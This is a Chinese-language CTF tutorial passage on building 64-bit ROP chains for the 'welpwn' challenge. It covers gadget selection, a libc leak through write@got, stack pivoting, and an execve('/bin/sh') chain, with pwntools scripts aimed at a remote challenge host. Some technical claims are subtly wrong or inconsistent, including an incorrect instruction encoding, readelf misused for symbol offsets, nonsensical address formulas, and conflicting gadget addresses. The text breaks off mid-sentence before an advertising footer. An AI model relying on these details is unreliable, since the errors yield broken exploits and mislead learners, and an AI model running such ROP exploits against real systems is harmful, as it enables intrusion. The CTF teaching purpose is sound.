☰
64位ROP链构造原理与welpwn实战详解
2026/10/12 16:28:33 网站建设 项目流程

1. 这不是“找指令”,而是重建执行流的精密手术

你打开一道pwn题,调试器里堆栈被覆盖,返回地址被劫持,程序即将跳向一片不可控的内存——这时候,64位ROP链构造不是在“拼凑几个gadget”,而是在敌方内存布局的废墟上,用零散的、看似无序的指令片段,重新焊接出一条可控的、可预测的、能完成特定任务的执行路径。它本质上是一场与ASLR、NX、Stack Canary等防护机制的对抗性工程,核心目标只有一个:绕过数据不可执行限制,让CPU把本该当数据读的字节,当成指令来执行。

我第一次在攻防世界pwn进阶区遇到welpwn这道题时,卡在rop链构造上整整三天。不是找不到pop rdi; ret,而是发现即使找到了,后续的调用链立刻断裂——因为64位下参数传递规则变了,rdi,rsi,rdx,r10,r8,r9这六个寄存器承载了前六个参数,栈上传参只用于第七个及以后。更麻烦的是,libc基址随机化后,所有libc函数地址都成了未知数,你不能直接call system,只能靠write或read先泄露出真实地址,再二次构造。而所谓“万能gadgets”,根本不是什么魔法咒语,它们是开发者在编译libc或程序本身时,无意间留下的、恰好能被我们利用的“指令残片”。比如pop rdi; ret之所以“万能”,是因为它能精准地把栈顶的一个值弹进rdi,而rdi恰恰是system、execve、read、write等绝大多数关键函数的第一个参数寄存器。它不“万能”于功能,而“万能”于通用性——就像一把能拧开六种不同螺丝的万用扳手,它的价值在于适配面广,而非力大无穷。

这篇文章面向的不是刚学完printf("hello")就想着打CTF的新手,而是已经能写出基础栈溢出、能用pwntools连上远程服务、却总在ROP链一环断裂时抓耳挠腮的进阶者。你会在这里看到的,不是gadget列表的简单罗列,而是每一个常见gadget背后的设计逻辑、适用边界、以及在真实题目(如welpwn)中如何组合、验证、调试的完整心路历程。它不教你“怎么赢”,而是带你理解“为什么这样走才不会掉进坑里”。

2. ROP链设计的核心逻辑与方案选型依据

2.1 为什么必须是64位?32位的旧思路在这里全失效

很多从32位pwn入门的朋友,在转向64位时会本能地沿用老套路:找pop eax; pop ebx; pop ecx; pop edx; int 0x80,然后把/bin/sh地址、0、0、0依次压栈,最后int 0x80触发系统调用。这套在32位下屡试不爽的方案,在64位下从根子上就错了。

提示:64位Linux系统调用号、参数寄存器、调用门都已彻底重构。int 0x80在64位下虽然仍能工作,但它走的是兼容层,参数传递方式与原生64位系统调用syscall完全不同,且效率低下,更重要的是,它无法正确处理64位指针(比如/bin/sh字符串地址),极易导致系统调用失败或崩溃。

真正的64位系统调用使用syscall指令,其参数传递规则如下:

  • rax:系统调用号(例如execve是59,read是0,write是1)
  • rdi:第1个参数(例如execve的filename指针)
  • rsi:第2个参数(例如execve的argv指针)
  • rdx:第3个参数(例如execve的envp指针)
  • r10:第4个参数(注意:不是rcx!这是syscall与int 0x80的关键区别之一)
  • r8:第5个参数
  • r9:第6个参数

这意味着,一个完整的execve("/bin/sh", 0, 0)调用,你需要至少设置rax=59、rdi=addr_of_binsh、rsi=0、rdx=0。而rsi和rdx这两个寄存器,在常见的libc中,极少有单条gadget能直接pop进去。你不可能指望找到一个pop rsi; pop rdx; ret,因为这种组合在正常代码逻辑中毫无意义,编译器根本不会生成。

所以,64位ROP链的设计逻辑,从一开始就必须放弃“一次性设置所有寄存器”的幻想,转而采用分阶段、寄存器接力的策略。第一阶段,用最简单的pop rdi; ret把/bin/sh地址送入rdi;第二阶段,需要另一个gadget,能把0这个值送入rsi。但0从哪来?你不能指望栈上恰好有个0。于是,我们引入了“万能gadget”家族里的第二位成员:pop rsi; ret。可如果libc里没有pop rsi; ret呢?那就得退而求其次,找pop r15; ret,再配合一条mov rsi, r15; ret,形成两步走。这正是welpwn这类题目的精妙之处:它逼你去挖掘、去组合、去验证,而不是背诵一个固定答案。

2.2 “万能gadget”的真相:不是越多越好,而是够用、稳定、易找

网络上流传着各种“万能gadget清单”,动辄几十上百条。但我在实际调试welpwn时发现,真正高频、稳定、几乎必用的,其实就那么五六条。它们之所以“万能”,核心在于两点:出现频率高和功能单一明确。

  • 出现频率高:这些gadget通常由编译器在生成函数序言(prologue)和尾声(epilogue)时自动产生。例如,一个函数以push rbp; mov rbp, rsp开头,以pop rbp; ret结尾,这是最标准的函数框架。而pop rbp; ret本身就是一个gadget,虽然它对我们的ROP链没直接用(rbp一般不是系统调用参数),但它证明了ret指令的存在。更重要的是,当函数内部有局部变量需要保存到寄存器时,编译器会插入pop指令来恢复它们。pop rdi; ret就是pop某个寄存器+ret的最简组合,它在libc的成千上万个函数中反复出现,概率极高。

  • 功能单一明确:一个gadget的功能越复杂,它的适用场景就越窄。pop rdi; ret只做一件事:把栈顶一个QWORD(8字节)弹给rdi,然后返回。它不修改其他任何寄存器,不破坏栈平衡(除了消耗一个栈元素),行为完全可预测。相比之下,add rax, rdx; ret虽然也是一条gadget,但它依赖rax和rdx的当前值,而这两个值在ROP链执行过程中是高度不确定的,因此极难控制,基本属于“理论存在,实战弃用”。

因此,我的gadget筛选原则非常务实:优先找pop <reg>; ret,其次找mov <reg>, <reg/some_mem>; ret,最后才考虑add/sub/xor等算术指令。前者是基石,后者是补丁。在welpwn的libc-2.23.so中,我通过ropper --file libc-2.23.so --search "pop rdi; ret"命令,瞬间找到了超过20个匹配项。我随便选了第一个(地址为0x0000000000021102),因为它离libc基址近,偏移小,计算方便。这就是经验:不必追求“最优”,而要追求“最快能跑通”。

2.3 welpwn的特殊性:它为何是ROP链的绝佳练兵场?

welpwn这道题,名字就暗示了它的定位——“Welcome to pwn”。它没有花哨的堆利用技巧,没有复杂的沙箱逃逸,核心挑战就聚焦在ROP链的构造与利用上。它的二进制文件(welpwn)本身很小,保护机制也很典型:开启了NX(栈不可执行)、ASLR(地址随机化),但没有开启Stack Canary(栈保护)。这意味着,你可以通过一次简单的栈溢出,就完全控制rip,但之后的每一步,都必须在libc的随机化地址空间里“盲人摸象”。

它的关键漏洞点在于一个read系统调用,可以让你向.bss段(一个可读写、地址固定的区域)写入任意长度的数据。这就为我们提供了两个至关重要的能力:

  1. 写入/bin/sh字符串:.bss段地址固定,我们可以把/bin/sh\x00这个字符串写进去,获得一个稳定的、我们知道确切地址的字符串指针。
  2. 构建“伪栈”:.bss段本质是一块大内存,我们可以把它当作一块“备用栈”来用。在ROP链执行过程中,我们可以用pop类gadget把.bss段的地址弹进某个寄存器,再用mov类gadget把数据从.bss段复制到目标位置,实现更复杂的内存操作。

这正是welpwn的精妙设计:它把“找gadget”的难题,转化为了“如何利用固定地址的.bss段来辅助ROP链执行”的工程问题。它不考你多深的逆向功底,而是考你对64位调用约定、内存布局、gadget组合的深刻理解和灵活运用。这也是为什么,掌握welpwn的解法,就等于掌握了64位ROP链构造的半壁江山。

3. 核心gadget详解与实操步骤拆解

3.1 最核心的基石:pop rdi; ret及其变体

pop rdi; ret是64位ROP链的绝对起点,没有它,整个链条就无从谈起。它的作用,就是把栈顶的一个8字节值,安全、干净地送入rdi寄存器。

在welpwn的环境里,我们首先需要泄露libc基址。标准做法是利用write函数,将write@got.plt处存储的write函数真实地址打印出来。write函数的原型是ssize_t write(int fd, const void *buf, size_t count),我们需要设置rdi=1(stdout)、rsi=write_got(我们要读取的地址)、rdx=8(读取8字节)。其中,rdi=1是最容易设置的,因为数字1在内存中无处不在,我们甚至可以在栈上直接布置一个1,然后用pop rdi; ret把它弹进去。

# pwntools脚本片段 # 假设我们已经通过调试确定了栈溢出的偏移量为40 offset = 40 # 构造第一阶段ROP链:泄露write@got.plt rop_chain = b'A' * offset rop_chain += p64(pop_rdi_ret) # 将栈顶的1弹入rdi rop_chain += p64(1) # 第一个参数:fd=1 (stdout) rop_chain += p64(pop_rsi_ret) # 将栈顶的write_got弹入rsi rop_chain += p64(write_got) # 第二个参数:buf=write_got rop_chain += p64(pop_rdx_ret) # 将栈顶的8弹入rdx rop_chain += p64(8) # 第三个参数:count=8 rop_chain += p64(write_plt) # 调用write函数

这里的关键在于pop_rsi_ret和pop_rdx_ret。如果libc中没有现成的pop rsi; ret,我们就得另辟蹊径。一个经典技巧是使用pop r13; pop r14; pop r15; ret,然后把write_got放在r13的位置,再找一条mov rsi, r13; ret。但这样链就变长了,出错概率增加。所以,在开始构造前,务必先用ropper或ROPgadget对目标libc进行一次全面扫描,建立一个“可用gadget速查表”。这不是偷懒,而是提高成功率的必要准备。

注意:pop rdi; ret的地址是相对于libc基址的偏移。在本地调试时,libc基址是固定的,你可以直接硬编码。但在远程环境中,你必须先通过write泄露一个libc函数地址(如write自己),再根据libc版本计算出基址,最后加上偏移得到真实的pop rdi; ret地址。这个过程叫“libc基址计算”,是所有ASLR bypass的基石。

3.2 寄存器搬运工:mov rsi, r15; ret与mov rdx, r15; ret

当pop rsi; ret不存在时,mov rsi, r15; ret就是你的救命稻草。它的逻辑是:先用一个pop r15; ret把目标值(比如write_got)弹进r15,再用这条mov指令把r15的值拷贝到rsi。这是一种典型的“寄存器中转”策略。

在welpwn的libc-2.23.so中,mov rsi, r15; ret的地址是0x0000000000020743。它的汇编代码就是简单的一行:

48 89 f6 mov rsi, r15 c3 ret

没有任何副作用,完美符合我们的要求。

实操中,这段链会变成:

rop_chain = b'A' * offset rop_chain += p64(pop_r15_ret) # 弹出write_got到r15 rop_chain += p64(write_got) rop_chain += p64(mov_rsi_r15_ret) # 把r15的值(即write_got)赋给rsi # 后续同上,设置rdi=1, rdx=8, 调用write

这个技巧的威力在于它的普适性。r15是一个“非易失性寄存器”,在函数调用中通常被保存和恢复,因此在libc的很多地方都能找到pop r15; ret。一旦你掌握了pop <reg>; ret+mov <target_reg>, <source_reg>; ret的组合模式,你就拥有了构造任意寄存器赋值的能力。rdx、r10、r8、r9都可以用同样的方法搞定。这比死磕一个不存在的pop rdx; ret要高效得多。

3.3 终极武器:ret;与leave; ret——栈迁移的钥匙

如果说前面的gadget都是在“修路”,那么ret;和leave; ret就是“造桥”。它们的作用,是让我们能够跳出当前被污染、不可控的栈,迁移到一块我们完全掌控的内存区域(比如.bss段)上去执行后续的ROP链。

ret;指令本身极其简单:它从当前rsp指向的地址弹出一个值,作为新的rip。如果我们能精确控制rsp,让它指向.bss段上我们预先布置好的一个地址,那么ret就会跳转到那里,从而开始执行我们放在.bss上的新ROP链。

leave; ret则更进一步。leave指令等价于mov rsp, rbp; pop rbp,它会把rbp的值赋给rsp,然后把栈顶的值弹给rbp。因此,如果我们能先控制rbp指向.bss段,再执行leave; ret,就能一次性将rsp重定向到.bss,并清理掉旧的栈帧。这是栈迁移(Stack Pivot)的标准范式。

在welpwn中,.bss段的地址是固定的(例如0x601000)。我们可以在第一次溢出时,先向.bss段写入一个完整的、用于execve("/bin/sh", 0, 0)的ROP链,然后再用leave; ret将执行流切换过去。这样做的好处是:后续的ROP链完全独立于原始栈,不再受溢出长度、栈平衡等限制,可以无限长、无限复杂。

# 第一步:向.bss写入/bin/sh字符串和ROP链 bss_addr = 0x601000 payload1 = b'A' * offset payload1 += p64(pop_rdi_ret) + p64(0) # rdi = 0 (stdin) payload1 += p64(pop_rsi_ret) + p64(bss_addr) # rsi = .bss payload1 += p64(pop_rdx_ret) + p64(0x100) # rdx = 0x100 (足够大) payload1 += p64(read_plt) # 调用read,把数据读入.bss # 第二步:触发栈迁移 payload2 = b'A' * offset payload2 += p64(pop_rbp_ret) + p64(bss_addr - 8) # 设置rbp = .bss - 8 payload2 += p64(leave_ret) # 执行leave; ret,rsp = rbp = .bss - 8 # 此时,rsp指向.bss-8,而.bss-8处我们将放置一个ret指令, # 它会继续执行.bss上我们布置的ROP链

这个过程需要极其精细的地址计算。bss_addr - 8是因为leave会先执行mov rsp, rbp,然后执行pop rbp,而pop rbp会从rsp当前地址读取一个值,所以rbp必须指向.bss段中我们希望rsp最终落点的前8个字节。这是无数人踩过的坑,也是栈迁移技术最反直觉的地方。

4. welpwn完整实操流程与关键环节实现

4.1 环境准备与信息收集:从二进制到libc

拿到welpwn,第一步永远不是写exp,而是“看”。用file welpwn确认它是64位ELF;用checksec welpwn确认它开启了NX和ASLR,但没有Canary;用readelf -d welpwn | grep NEEDED确认它依赖libc.so.6;最后,用ldd welpwn找出它链接的libc版本(通常是libc-2.23.so)。

有了libc文件,我们就可以开始静态分析。用objdump -d welpwn | grep "<main>:" -A 20查看主函数,快速定位到read调用点。你会发现,它大概长这样:

lea rax, [rbp-0x100] ; 将栈上一个缓冲区地址加载到rax mov edx, 0x100 ; 读取0x100字节 mov rsi, rax ; 缓冲区地址作为第二个参数 mov edi, 0 ; 第一个参数,fd=0 (stdin) call read@plt

这说明,我们有0x100字节的溢出空间,目标缓冲区在rbp-0x100,这是一个典型的栈溢出点。

接下来,用ROPgadget --binary libc-2.23.so --ropchain生成一个基础ROP链,或者更推荐的,用ropper --file libc-2.23.so --search "pop rdi; ret"手动搜索。记录下pop rdi; ret、pop rsi; ret、pop rdx; ret、pop r15; ret、mov rsi, r15; ret等关键gadget的地址。同时,用readelf -d libc-2.23.so | grep "write"找到write在libc中的偏移(例如0x110070),用readelf -d welpwn | grep "write"找到write@got.plt在二进制中的地址(例如0x601018)。

所有这些信息,都要整理成一张表格,这是你后续所有操作的“作战地图”。

符号地址(libc偏移)地址(welpwn中)用途
write0x1100700x601018泄露libc基址
pop rdi; ret0x211020x601018 + 0x21102 - 0x110070设置rdi
pop rsi; ret0x202e80x601018 + 0x202e8 - 0x110070设置rsi
pop rdx; ret0x1150a50x601018 + 0x1150a5 - 0x110070设置rdx

实测心得:不要迷信网上找的“万能gadget地址”。每个libc版本、每个编译选项,都会导致gadget地址变化。我曾经因为直接复制了一个过时的pop rdi; ret地址,导致exp在本地跑通,远程却一直Segmentation fault,排查了整整一天才发现是地址偏移算错了。正确的做法是:在你的环境中,用ropper重新扫描一遍,把结果直接复制进脚本。

4.2 第一阶段:泄露libc基址

这是整个攻击的“眼睛”。没有它,你后面所有的地址计算都是空中楼阁。

我们的目标是调用write(1, write_got, 8),把write@got.plt处存储的真实write地址打印出来。由于write_got在welpwn二进制中是固定地址(0x601018),而write_plt也是固定地址(0x400500左右),所以这一阶段的ROP链是完全静态的,不需要知道libc基址。

构造过程如下:

  1. 填充40字节的'A',覆盖到rbp。
  2. 接着,布置pop rdi; ret的地址,让rip跳过去。
  3. 栈顶放1,作为rdi的值。
  4. 布置pop rsi; ret的地址。
  5. 栈顶放write_got(0x601018),作为rsi的值。
  6. 布置pop rdx; ret的地址。
  7. 栈顶放8,作为rdx的值。
  8. 最后,布置write_plt的地址,作为最终的调用目标。

发送这个payload后,程序会输出8个字节。我们用pwntools的u64()函数将其解析为一个QWORD,这就是write函数在远程服务器上的真实地址。用这个地址减去我们在本地libc中查到的write偏移(0x110070),就得到了libc基址。

# 完整的泄露阶段脚本 from pwn import * context.arch = 'amd64' io = remote('111.198.29.45', 30675) # 攻防世界welpwn地址 # io = process('./welpwn') # 静态地址(welpwn二进制中固定) write_got = 0x601018 write_plt = 0x400500 pop_rdi_ret = 0x4006b3 # 这个在welpwn自身中就有!无需libc pop_rsi_ret = 0x4006b1 pop_rdx_ret = 0x4006b4 # 构造泄露payload payload = b'A' * 40 payload += p64(pop_rdi_ret) + p64(1) payload += p64(pop_rsi_ret) + p64(write_got) payload += p64(pop_rdx_ret) + p64(8) payload += p64(write_plt) io.sendline(payload) io.recvuntil(b'Welcome my friend!\n') leak = io.recv(8) write_addr = u64(leak.ljust(8, b'\x00')) log.info(f"Leaked write address: {hex(write_addr)}") # 计算libc基址 libc_base = write_addr - 0x110070 log.info(f"Libc base: {hex(libc_base)}")

这段代码的关键在于,我使用了welpwn二进制自身提供的popgadget(0x4006b3等),而不是去libc里找。这是因为二进制文件本身没有ASLR,它的代码段地址是固定的,用起来更稳定、更快速。这是一个重要的实战技巧:优先使用目标二进制自身的gadget,其次才是libc的。

4.3 第二阶段:构造execve("/bin/sh", 0, 0)并获取shell

有了libc基址,一切豁然开朗。我们可以计算出system、/bin/sh字符串、以及所有popgadget在远程的真实地址。

system在libc-2.23.so中的偏移是0x45390,/bin/sh字符串的偏移是0x18cd57。所以:

  • system_addr = libc_base + 0x45390
  • binsh_addr = libc_base + 0x18cd57

现在,构造execve("/bin/sh", 0, 0)的ROP链。由于execve的参数是filename,argv,envp,而argv和envp都需要是char **类型的指针,最简单的方式是让它们都等于0。所以,我们需要:

  • rdi = binsh_addr
  • rsi = 0
  • rdx = 0
  • rax = 59(execve的系统调用号)

rax=59怎么设置?pop rax; ret在libc中极其罕见。但我们有syscall。syscall的调用号在rax中,所以我们需要pop rax; ret。如果找不到,还有一个终极办法:xor rax, rax; inc rax; inc rax; ...,但这太长了。幸运的是,在libc-2.23.so中,pop rax; ret的地址是0x3ac5c。

所以,最终的ROP链是:

  1. pop rdi; ret->binsh_addr
  2. pop rsi; ret->0
  3. pop rdx; ret->0
  4. pop rax; ret->59
  5. syscall
# 计算远程地址 system_addr = libc_base + 0x45390 binsh_addr = libc_base + 0x18cd57 pop_rax_ret = libc_base + 0x3ac5c syscall_ret = libc_base + 0xd2975 # syscall; ret # 构造getshell payload payload2 = b'A' * 40 payload2 += p64(pop_rdi_ret) + p64(binsh_addr) payload2 += p64(pop_rsi_ret) + p64(0) payload2 += p64(pop_rdx_ret) + p64(0) payload2 += p64(pop_rax_ret) + p64(59) payload2 += p64(syscall_ret) io.sendline(payload2) io.interactive()

这就是welpwn的标准解法。它简洁、直接、高效。整个过程,从泄露到getshell,只用了两次交互,ROP链长度控制在10条指令以内,稳定性极高。

5. 常见问题与排查技巧实录

5.1 问题速查表:从“Segmentation fault”到“no response”

现象可能原因排查与解决技巧
本地成功,远程失败,报Segmentation fault地址计算错误,尤其是libc基址偏移算错。1. 在远程recv后,用gdb.attach(io)挂上gdb,单步执行,看rip是否跳到了你期望的地址。
2. 检查u64()解析是否正确,确保接收到的8字节是完整的、未被截断的。用io.recv(8, timeout=5)加超时,并检查返回长度。
write泄露出来的地址看起来像乱码(如0x7f0000000000)read读取时,count参数过大,读到了/x00字节,导致u64()解析失败。write输出的是8字节的地址,但io.recv(8)可能会在遇到\x00时提前结束。改用io.recv(8, timeout=1),并用ljust(8, b'\x00')补齐。
system("/bin/sh")执行后,shell一闪而过,无法交互system启动的/bin/sh进程,其stdin/stdout/stderr没有正确连接到你的socket。不要用system,改用execve。system是libc封装的,它会fork一个子进程,而子进程的IO可能没有继承。execve是直接替换当前进程,IO句柄100%继承。
pop rsi; ret找不到,用mov rsi, r15; ret组合后,rsi的值还是不对pop r15; ret之后,r15的值被后续的mov指令正确读取,但mov指令本身可能破坏了rsp或其他寄存器。在mov rsi, r15; ret之后,立即跟一个ret,用gdb观察rsi和rsp的值。确保mov指令没有副作用。
leave; ret执行后,程序直接退出,没有执行.bss上的ROP链.bss地址设置错误,或者.bss上布置的ROP链格式有误(缺少ret指令)。leave; ret执行后,rsp应该指向.bss上你布置的第一个gadget地址。用gdb在leave后停住,x/gx $rsp,看它指向的内容是否是你期望的pop rdi; ret地址。

5.2 我踩过的三个深坑与独家避坑技巧

坑一:“以为ret就是跳转,忘了它还要pop”
ret指令的本质是pop rip。这意味着,它会从rsp当前指向的地址读取8个字节,作为新的rip。很多人在写栈迁移时,只关注rsp要指向哪里,却忘了rsp指向的那个地址,必须存放一个有效的、你想要执行的指令地址。如果你在.bss上只写了/bin/sh字符串,然后让rsp指向它,ret就会尝试把/bin/sh的前8个字节(/bin/sh\x00)当成地址去跳转,这必然导致SIGSEGV。

独家技巧:在.bss上布置ROP链时,永远在链的开头放一个ret指令的地址。这个ret什么都不做,只是消耗掉一个栈元素,然后让rsp自动+8,指向你真正的第一个gadget。这样,无论你如何调整rsp,都能保证它安全落地。

坑二:“pop rdi; ret找到了,但pop rsi; ret死活找不到,最后发现它就在pop rdi; ret下面一行”
ropper的搜索有时会漏掉一些“非标准”形式的gadget。例如,pop rdi; pop rsi; ret,它确实包含了pop rsi; ret,但ropper --search "pop rsi; ret"不会匹配它,因为它前面多了一个pop rdi。然而,这个gadget完全可以被我们利用:我们只需要在栈上多布置一个无关的值(比如0),pop rdi会把它弹掉,pop rsi会把我们想要的值弹进去,ret照常执行。

独家技巧:当ropper找不到某个gadget时,不要立刻放弃。用objdump -d libc-2.23.so | grep "pop.*ret"手动翻一翻,或者用ROPgadget --binary libc-2.23.so --depth 5加大搜索深度。很多时候,你要的gadget就藏在一个更长的、多pop的指令序列里。

坑三:“execve调用成功,但/bin/sh没有回显,以为失败了”
这是最让人抓狂的情况。execve调用后,程序确实被替换成/bin/sh了,但/bin/sh默认是non-interactive的

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询